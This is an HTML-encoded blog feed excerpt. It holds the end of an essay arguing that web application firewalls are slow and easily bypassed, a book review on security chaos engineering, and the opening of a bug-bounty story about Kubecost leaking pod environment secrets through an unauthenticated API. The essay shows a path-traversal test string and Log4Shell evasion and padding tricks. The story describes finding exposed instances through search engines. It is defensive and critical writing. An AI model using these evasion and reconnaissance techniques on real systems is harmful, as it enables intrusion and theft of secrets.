&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;enabled&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hosts&lt;&#x2F;span&gt;&lt;span&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;minio-waf.localhost&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;annotations&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nginx.ingress.kubernetes.io&#x2F;enable-modsecurity&lt;&#x2F;span&gt;&lt;span&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nginx.ingress.kubernetes.io&#x2F;enable-owasp-core-rules&lt;&#x2F;span&gt;&lt;span&gt;: &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nginx.ingress.kubernetes.io&#x2F;modsecurity-snippet&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;|
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      Include &#x2F;etc&#x2F;nginx&#x2F;owasp-modsecurity-crs&#x2F;nginx-modsecurity.conf
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      SecRuleEngine On
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      # Even the core rules are ridiculous, blocking PUT requests, certain content-types, or any body with &amp;quot;options&amp;quot; in it
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;      SecRuleRemoveById 911100 920420 921110
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;helm&lt;&#x2F;span&gt;&lt;span&gt; upgrade&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --install&lt;&#x2F;span&gt;&lt;span&gt; minio minio&#x2F;minio&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span&gt; values.yaml&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span&gt; minio&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --create-namespace
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;helm&lt;&#x2F;span&gt;&lt;span&gt; upgrade&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --install&lt;&#x2F;span&gt;&lt;span&gt; minio-waf minio&#x2F;minio&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span&gt; values-waf.yaml&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span&gt; minio-waf&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --create-namespace
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Verify the WAF is working (should get a 403)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;curl &lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;http:&#x2F;&#x2F;minio-waf.localhost:32080&#x2F;?q=..&#x2F;..&#x2F;etc&#x2F;passwd&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We&#x27;ll be uploading just the &quot;Documentation&quot; folder of the v6.6 Linux Kernel, which contains 9462 files for a total of 65MB.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;curl -LO&lt;&#x2F;span&gt;&lt;span&gt; https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;archive&#x2F;refs&#x2F;tags&#x2F;v6.6.zip
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;unzip&lt;&#x2F;span&gt;&lt;span&gt; v6.6.zip &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;linux-6.6&#x2F;Documentation&#x2F;*&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Configure the minio client:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# You may need to add these hosts to &#x2F;etc&#x2F;hosts
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;export &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MC_HOST_nowaf&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;http:&#x2F;&#x2F;rootuser:rootpass123@minio.localhost:32080&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;export &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MC_HOST_waf&lt;&#x2F;span&gt;&lt;span&gt;=&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;http:&#x2F;&#x2F;rootuser:rootpass123@minio-waf.localhost:32080&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Run the benchmark (5 times each):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span&gt; mc cp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -r&lt;&#x2F;span&gt;&lt;span&gt; linux-6.6&#x2F;Documentation&#x2F; waf&#x2F;bucket1&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span&gt; mc cp&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -r&lt;&#x2F;span&gt;&lt;span&gt; linux-6.6&#x2F;Documentation&#x2F; nowaf&#x2F;bucket1&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr&#x2F;&gt;
&lt;&#x2F;details&gt;
&lt;p&gt;In addition to slowing down every request, you also need significant additional RAM for buffering requests. Since not a single byte in the buffer can be flushed to the backend server until the WAF completes its analysis, you need several gigabytes of RAM to store request bodies. Servers like nginx buffer requests by default, but enough large concurrent requests (like pushing a container image) can make a buffering web server run out of RAM. When using a WAF, every server becomes a buffering web server, which is simply incompatible with many types of applications.&lt;&#x2F;p&gt;
&lt;p&gt;I know computers are fast and hardware is cheap, but we shouldn&#x27;t be spending that kind of CPU and RAM on WAFs unless they&#x27;re a really effective security tool. But they aren&#x27;t, as you&#x27;ll see next.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wafs-are-easily-bypassed&quot;&gt;WAFs are Easily Bypassed&lt;&#x2F;h2&gt;
&lt;p&gt;WAF vendors and attackers are locked in a constant arms race, but it seems &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;0xInfection&#x2F;Awesome-WAF#evasion-techniques&quot;&gt;attackers are much better armed&lt;&#x2F;a&gt;. How could they not be? Many of the attacks that a WAF purports to block involve complex grammars like SQL, shell code, and entire programming languages. They often include comments, character escaping, encoding issues, and more oddities. These oddities mean that attackers always have a significant advantage and can typically bypass any WAF rule if they are clever enough.&lt;&#x2F;p&gt;
&lt;p&gt;For example, you might think &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Log4Shell&quot;&gt;Log4shell&lt;&#x2F;a&gt; is pretty easy to catch: just check for &lt;code&gt;${jndi&lt;&#x2F;code&gt;, right? Unfortunately, Log4J supports nested &quot;&lt;a href=&quot;https:&#x2F;&#x2F;logging.apache.org&#x2F;log4j&#x2F;2.x&#x2F;manual&#x2F;lookups.html&quot;&gt;lookups&lt;&#x2F;a&gt;&quot;, including ones that convert letters to upper&#x2F;lower case like &lt;code&gt;${lower:J}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;That means an attacker can insert an arbitrary number of nested lookups around each letter and still perform the attack, like this: &lt;code&gt;${${lower:J}ndi:...&lt;&#x2F;code&gt;. This lead CloudFlare to say &lt;a href=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns&#x2F;&quot;&gt;&quot;WAF vendors need to be looking at any occurrence of &lt;code&gt;${&lt;&#x2F;code&gt; and treating it as suspicious&quot;&lt;&#x2F;a&gt;, which is just another hilarious example of how WAFs can never live up to the expectations placed on them.&lt;&#x2F;p&gt;
&lt;p&gt;I just discussed the fairly simple grammar that is Log4J Lookups, but you can imagine how many more evasion tactics you could use in a language as complex as SQL or PHP, especially when considering encoding tricks. For an in-depth description of specific WAF bypass techniques, check out &lt;a href=&quot;https:&#x2F;&#x2F;habr.com&#x2F;en&#x2F;companies&#x2F;dsec&#x2F;articles&#x2F;454592&#x2F;&quot;&gt;this awesome post&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Another way to bypass a WAF involves just padding your attack string to appear &lt;a href=&quot;https:&#x2F;&#x2F;docs.aws.amazon.com&#x2F;waf&#x2F;latest&#x2F;developerguide&#x2F;waf-oversize-request-components.html&quot;&gt;&amp;gt;8KB or so&lt;&#x2F;a&gt; into the request body. Like I mentioned in the section on performance, request bodies must be buffered into RAM for analysis, so WAFs must choose some cut-off point to avoid spending infinite CPU and RAM on a single request. For some WAFs like AWS&#x27;s, that cutoff point is around 8KB. So if you just put 8192 innocuous characters before your Log4Shell attack string, you&#x27;ve rendered the WAF worthless.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wafs-are-an-attack-vector&quot;&gt;WAFs are an Attack Vector&lt;&#x2F;h2&gt;
&lt;p&gt;In 2019, CapitalOne experienced a breach of 100 million credit applications that was &lt;a href=&quot;https:&#x2F;&#x2F;krebsonsecurity.com&#x2F;2019&#x2F;08&#x2F;what-we-can-learn-from-the-capital-one-hack&#x2F;&quot;&gt;allegedly caused by a WAF misconfiguration&lt;&#x2F;a&gt;. The attacker allegedly tricked the WAF into sending requests to the EC2 Metadata Service, which handed out a credential that allowed reading sensitive files from S3.&lt;&#x2F;p&gt;
&lt;p&gt;While this is just one example, it illustrates the curious fact that WAFs actually have a large attack surface.&lt;&#x2F;p&gt;
&lt;p&gt;Most WAFs are giant, complex codebases that are usually closed-source and written in memory-unsafe languages. Since they&#x27;re expensive &quot;enterprise&quot; products, companies stuff them full of unnecessary features to make them stand out more than competitors. All of this adds up to make WAFs yet another example of a dangerous &quot;security&quot; tool, &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2023&#x2F;solarwinds-hack-lessons-learned&#x2F;&quot;&gt;just like SolarWinds&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;No security officer would approve taking such a risky piece of software, putting it directly on the internet, making it parse mountains of untrusted input, and giving it access to all your backend servers, logging infra, SIEM, alerting systems, &lt;a href=&quot;https:&#x2F;&#x2F;docs.fastly.com&#x2F;en&#x2F;ngwaf&#x2F;jira&quot;&gt;and even JIRA for some reason&lt;&#x2F;a&gt; UNLESS it&#x27;s covered in security buzzwords and costs 5-6 figures per year.&lt;&#x2F;p&gt;
&lt;p&gt;Somehow, companies that sell security products have gotten a pass on implementing foundational security principles like secure by default, secure by design, attack surface reduction, and the principle of least privilege. Don&#x27;t let them keep getting away with that.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wafs-have-a-high-false-positive-rate&quot;&gt;WAFs have a High False Positive Rate&lt;&#x2F;h2&gt;
&lt;p&gt;Over the last twenty years, open-source WAF rulesets have expanded considerably to detect more-recent types of attack. Apparently all those proprietary WAFs are doing the same. That means there are more and more possible strings that could trigger a WAF to block your request. If you want to write a comment on an article discussing Log4shell, you might be blocked for including the string &lt;code&gt;${jndi&lt;&#x2F;code&gt; in your comment. So naturally the false positive rate continues to rise with every new rule, and it&#x27;s already quite high based on my experience maintaining a giant list of ModSecurity rule exceptions.&lt;&#x2F;p&gt;
&lt;p&gt;So-called &quot;next-generation&quot; WAFs claim to solve this problem by &lt;a href=&quot;https:&#x2F;&#x2F;docs.fastly.com&#x2F;en&#x2F;ngwaf&#x2F;about-next-gen-waf&quot;&gt;looking at multiple requests&lt;&#x2F;a&gt; or by using &lt;a href=&quot;https:&#x2F;&#x2F;docs.fastly.com&#x2F;en&#x2F;ngwaf&#x2F;about-the-architecture#about-the-collection-and-analysis-system&quot;&gt;IP reputation systems&lt;&#x2F;a&gt;. While these can improve false positive rates, they can never truly solve the problem. In some ways, less false positives can increase the impact of particular false positives since neither users nor support teams have a clear procedure for fixing it. CloudFlare&#x27;s algorithm can randomly decide to block you and &lt;a href=&quot;https:&#x2F;&#x2F;www.ctrl.blog&#x2F;entry&#x2F;cloudflare-ip-blockade.html&quot;&gt;you will have no recourse&lt;&#x2F;a&gt;. Imagine that happening to someone less tech-savvy.&lt;&#x2F;p&gt;
&lt;p&gt;This is the classic problem with using an outdated security tool like a WAF: defenders have to configure the tool absolutely perfectly to be safe and avoid false positives, but attackers just need to find a single weakness. Those are horrible odds. You should use alternatives that don&#x27;t require perfection from imperfect humans.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;alternatives-to-wafs&quot;&gt;Alternatives to WAFs&lt;&#x2F;h2&gt;
&lt;p&gt;Since WAFs are resource-hungry, inneffective, unsafe, and noisy, how do I convince an auditor to not make me use one? The technical term would be to use &quot;compensating controls&quot;, but that sounds like such a weak term to describe the powerful and simple alternatives to WAFs I&#x27;m about to describe:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Isolation:&lt;&#x2F;strong&gt; Isolation involves ensuring that a breach in one component can not affect the rest of the system, and there are many technologies that provide isolation.
&lt;ul&gt;
&lt;li&gt;Browsers do this by executing all code inside special sandboxed processes that don&#x27;t have carte blanch access to cookies, saved passwords, other tabs, etc. Imagine how slow the web would be if every piece of JavaScript needed to be analyzed by hundreds of regexes before being executed!&lt;&#x2F;li&gt;
&lt;li&gt;Microservices are designed with isolation in mind, but you can also do it in a monolith with a variety of &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;dckc&#x2F;awesome-ocap#libraries-and-frameworks&quot;&gt;libraries and languages&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Immutability:&lt;&#x2F;strong&gt; Entire classes of attack can be eliminated by removing a few assumptions, like having a &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;tasks&#x2F;configure-pod-container&#x2F;security-context&#x2F;&quot;&gt;readOnlyRootFilesystem&lt;&#x2F;a&gt;, a &lt;a href=&quot;https:&#x2F;&#x2F;thenewstack.io&#x2F;3-immutable-operating-systems-bottlerocket-flatcar-and-talos-linux&#x2F;&quot;&gt;package manager that requires rebooting&lt;&#x2F;a&gt;, or append-only&#x2F;&lt;a href=&quot;https:&#x2F;&#x2F;www.rsync.net&#x2F;resources&#x2F;faq.html#9a&quot;&gt;immutable backups&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Static Analysis:&lt;&#x2F;strong&gt; SQL injection has a miracle cure called &quot;prepared statements&quot;. The problem is that devs forget to use them. Static analysis checks in a CI pipeline can all but ensure that zero SQL injection vulnerabilities are in your codebase, at which point there is no need for any SQL injection WAF rules. No, &quot;defense in depth&quot; is not a valid excuse to use a WAF anyway, because it provides no real defense! Like surrounding Fort Knox with an army of guard guinea pigs.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Capability-based security:&lt;&#x2F;strong&gt; Not every API endpoint needs to have unrestricted read&#x2F;write access to your entire database and file system, but that is the normal way people build APIs today. By using capabilities, you can express exactly that &quot;GET &#x2F;api&#x2F;v1&#x2F;books&quot; only needs read access to the &quot;books&quot; table. Or that &quot;POST &#x2F;api&#x2F;v1&#x2F;imageupload&quot; needs write access to a specific folder, but doesn&#x27;t need the ability to spawn processes.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Now I&#x27;ll admit these ideas are quite broad; you&#x27;ll need to adapt them to your particular app. WAF vendors offer a one-WAF-fits-all fantasy that I can&#x27;t match. But these secure-by-design strategies are the way that the security industry needs to be heading. Unfortunately, it&#x27;s a lot harder for the security industry to profit off of design-based techniques, so don&#x27;t hold your breath.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Book Review: Security Chaos Engineering</title>
        <published>2023-08-03T00:00:00+00:00</published>
        <updated>2023-08-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2023/sce-review/"/>
        <id>https://www.macchaffee.com/blog/2023/sce-review/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2023/sce-review/">&lt;p&gt;I recently picked up a few books to read, and &lt;em&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.securitychaoseng.com&quot;&gt;Security Chaos Engineering&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; engrossed me so significantly that it 1) made me read the whole thing and 2) made me want to write about it too!&lt;&#x2F;p&gt;
&lt;p&gt;If you just want a taste of the book, check out the primary author &lt;a href=&quot;https:&#x2F;&#x2F;www.kellyshortridge.com&#x2F;&quot;&gt;Kelly Shortridge&#x27;s blog&lt;&#x2F;a&gt;. Her unique writing style is quite fun to read.&lt;&#x2F;p&gt;
&lt;p&gt;My interpretation of the book was that it is the InfoSec world&#x27;s equivalent of the &lt;em&gt;Ninety-five Theses&lt;&#x2F;em&gt;, pointing out the various ways that the security practices of the past and present have failed us all. Since these failures are so normalized, it&#x27;s impressive seeing Shortridge traverse the entire org chart and tech stack, pointing out all the pain points I&#x27;ve always felt, but never thought too much about. The chaos engineering stuff plays a minor role, more just a natural conclusion from the radical idea (&#x2F;s) that we should not just assume things about the security of our systems; we should test them.&lt;&#x2F;p&gt;
&lt;p&gt;The way I interpreted the book is informed by my own background in tech, which I would describe as &quot;software engineer turned DevOps person, with a healthy interest in security&quot;. That &quot;healthy interest in security&quot; is the dangerous part, because I know just enough to be frustrated at the state of the security industry, but not enough to personally do anything about it. A book like &lt;em&gt;SCE&lt;&#x2F;em&gt; makes me start to think that maybe that frustration isn&#x27;t unfounded.&lt;&#x2F;p&gt;
&lt;p&gt;I took away two super key points that I think warrant me re-iterating them here in my own words, just to get the message out.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;point-1-resilience-over-robustness&quot;&gt;Point 1: Resilience over robustness&lt;&#x2F;h2&gt;
&lt;p&gt;Much time and energy has been poured into security practices that restrict, block, and control. This has largely been viewed as a necessary evil of security, but it&#x27;s not nearly as necessary as many security people would lead you to believe.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;SCE&lt;&#x2F;em&gt; explains this by making a distinction between resilience (adapting around attacks) and robustness (trying to stop attacks). The classic example from Aesop&#x27;s fable is how a robust oak tree stands in proud resistance against the wind, but it ultimately falls while the resilient reeds flex and bend.&lt;&#x2F;p&gt;
&lt;p&gt;A good example is a Web Application Firewall (WAF), which runs thousands of regexes on every HTTP request to block requests that like look like they contain SQL queries or shell commands. As you can imagine, &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2023&#x2F;sce-review&#x2F;.&#x2F;2023-11-11-wafs.md&quot;&gt;they aren&#x27;t good at their job&lt;&#x2F;a&gt;, causing many false positives, slowing down websites, and still being easily circumventable by attackers. That doesn&#x27;t stop infosec teams from requiring you to use WAFs, unfortunately. A WAF gives you robustness, not resilience.&lt;&#x2F;p&gt;
&lt;p&gt;Resilience would involve securing your websites &quot;by design&quot;, like using static analysis to prevent passing user-controlled input into shell commands or to enforce the use of prepared statements. Choosing resilience would also mean taking all that time you save in chasing down false-positives and investing it planning for the eventuality that an attacker bypasses your defenses anyway. That could mean doing drills, double-checking backup procedures, and monitoring&#x2F;learning from past incidents.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;point-2-your-security-team-should-be-more-like-platform-engineers&quot;&gt;Point 2: Your security team should be more like platform engineers&lt;&#x2F;h2&gt;
&lt;p&gt;To state the obvious, securing a server, laptop, or a piece of software is hard. It requires a unique skill-set that not everyone in your organization possesses. Why then do we expect them to know as much, care as much, and do as much about security as a CISO?&lt;&#x2F;p&gt;
&lt;p&gt;Platform engineering grew out of a parallel problem: that software has become so complex to deploy and operate that it requires a dedicated subfield. But merely creating separate &quot;dev&quot; and &quot;ops&quot; teams creates bad outcomes, since &quot;ops&quot; tends to gatekeep the &quot;devs&quot; and neither team is motivated to cooperate with each other. Platform engineering re-balances the power held by &quot;ops&quot; by forcing it to serve the interests of the &quot;devs&quot;. Devs are the customers for whom the &quot;platform&quot; is the product being sold. No one will buy a hard-to-use, featureless, unstable product (well unless you have name recognition...). Thus the platform engineering team has to create tools and libraries that the devs will &lt;em&gt;want&lt;&#x2F;em&gt; to use.&lt;&#x2F;p&gt;
&lt;p&gt;Likewise, &lt;em&gt;SCE&lt;&#x2F;em&gt; extols the benefits of applying those same principles to your security team. Rather than letting them be the disinterested gatekeepers that they typically are, make them serve the organization by running them like a platform engineering team. They should be building and choosing security tools that the organization will &lt;em&gt;want&lt;&#x2F;em&gt; to use, rather than taking some twisted pleasure in forcing through increasingly onerous policies.&lt;&#x2F;p&gt;
&lt;p&gt;Without that drive to serve the organization, security teams often build up a hostile relationship with their own organizations (which itself is a security risk!).&lt;&#x2F;p&gt;
&lt;figure&gt;
  &lt;img src=&quot;&#x2F;blog&#x2F;2023&#x2F;cisa_pizza_party.png&quot; alt=&quot;A picture of CISA&#x27;s Cybersecurity Checklist which encourages scheduling a pizza party to improve relationships between your security team and your operations teams.&quot;&#x2F;&gt;
  &lt;figcaption&gt;&lt;em&gt;As if pizza can solve a deep-seated structural issue such as this...&lt;&#x2F;em&gt;&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;CEOs are torn between investing more in the very-real threats of cyber attacks, but not wanting to sacrifice the efficacy of their organization in the process. Traditional security teams cause that dilemma, but a platform engineering security team would make it go away. As long as executives merely &lt;em&gt;think&lt;&#x2F;em&gt; that dilemma exists, cybersecurity will never get the amount of attention it needs.&lt;&#x2F;p&gt;
&lt;p&gt;I don&#x27;t think it&#x27;s a coincidence that the skills required to be on a security platform engineering team are nothing like the skills you learn in your average InfoSec MBA program. You&#x27;d need something more similar to software engineering skills, which means the resulting security tools are better quality (not just some &quot;enterprise&quot; monitoring agent that says the right buzzwords) and communication is easier (none of those incomprehensible compliance checklists).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;My one complaint with the book is that it feels a bit more aspirational than practical. But damn if it doesn&#x27;t sound like an amazingly promising aspiration: a security industry that achieves &lt;em&gt;real&lt;&#x2F;em&gt; security, and they actually help you get there.&lt;&#x2F;p&gt;
&lt;p&gt;Seeing the book point out all the obvious (in hindsight) ways that the security status quo is ineffective almost makes me fear working in the cybersecurity field. How come all the people in power in the cybersecurity field can&#x27;t see this mess they&#x27;ve created? If I joined them, would I be forced to keep propping up this status quo? I hope one day soon that the cybersecurity industry starts doing the one thing they can&#x27;t stand: change.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Obtaining database passwords from a billion-dollar company</title>
        <published>2023-06-06T00:00:00+00:00</published>
        <updated>2023-06-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2023/kubecost-hack/"/>
        <id>https://www.macchaffee.com/blog/2023/kubecost-hack/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2023/kubecost-hack/">&lt;p&gt;This is a story about how in 2021, I discovered a vulnerability affecting an unnamed billion-dollar company and disclosed it to them, earning my largest bug bounty ever!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;accidental-discovery&quot;&gt;Accidental Discovery&lt;&#x2F;h2&gt;
&lt;p&gt;At first, I was just doing some work on &lt;a href=&quot;https:&#x2F;&#x2F;www.kubecost.com&#x2F;&quot;&gt;kubecost&lt;&#x2F;a&gt;, a Kubernetes tool which estimates costs for running pods. The first thing that caught my security eye was that by default, when you install kubecost, it captures your &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kubecost&#x2F;cost-analyzer-helm-chart&#x2F;blob&#x2F;0ef0b20adabfa29b80ab0604a3b51d836eae169b&#x2F;cost-analyzer&#x2F;templates&#x2F;cost-analyzer-deployment-template.yaml#L576&quot;&gt;HELM_VALUES&lt;&#x2F;a&gt; in an environment variable which they use to help their enterprise users debug problems. This set off alarm bells since Helm values are typically how secrets are passed into applications, such as API keys for Kubecost itself and Grafana passwords.&lt;&#x2F;p&gt;
&lt;p&gt;I immediately disabled HELM_VALUES for my own kubecost instance, but now I had my security hat on. While doing unrelated work with my dev tools open, I saw kubecost perform an API request for &lt;code&gt;&#x2F;api&#x2F;allPods&lt;&#x2F;code&gt;, which happened to be running a little slow (as you can imagine with ~500+ pods). Investigating the response, I saw that it returned ALL of the information about pods, including their environment variables! And this API is callable by unauthenticated users.&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s bad practice to directly use Pod environment variables for secrets (you should use Secrets, &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2022&#x2F;k8s-secrets&#x2F;&quot;&gt;which are secure enough&lt;&#x2F;a&gt;). But since the HELM_VALUES environment variable exists, this &lt;code&gt;&#x2F;api&#x2F;allPods&lt;&#x2F;code&gt; API can be used to obtain at least one or two secrets from KubeCost itself.&lt;&#x2F;p&gt;
&lt;p&gt;At this point, I began writing up a report about the issue to the KubeCost team.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;thinking-like-an-attacker&quot;&gt;Thinking like an attacker&lt;&#x2F;h2&gt;
&lt;p&gt;While writing the report, I wanted to make sure they would understand the severity of exposing environment variables. Alas, the users of the cluster I administrate are smart and none of them had any secrets in environment variables :)&lt;&#x2F;p&gt;
&lt;p&gt;I remembered a lesson from my security class in college about &quot;&lt;a href=&quot;https:&#x2F;&#x2F;resources.infosecinstitute.com&#x2F;topic&#x2F;google-hacking-overview&#x2F;&quot;&gt;google hacking&lt;&#x2F;a&gt;&quot;, or just searching for specific strings in Google to find vulnerable servers.&lt;&#x2F;p&gt;
&lt;p&gt;(Un)fortunately, KubeCost&#x27;s splash page includes enough unique text that I could locate exposed KubeCost instances with a simple Google search. Also (un)fortunately, KubeCost&#x27;s splash page tells you right away the total estimated monthly cost for a given cluster, which lets you pick a nice juicy target that&#x27;s burning $20k&#x2F;month or more of cloud credits.&lt;&#x2F;p&gt;
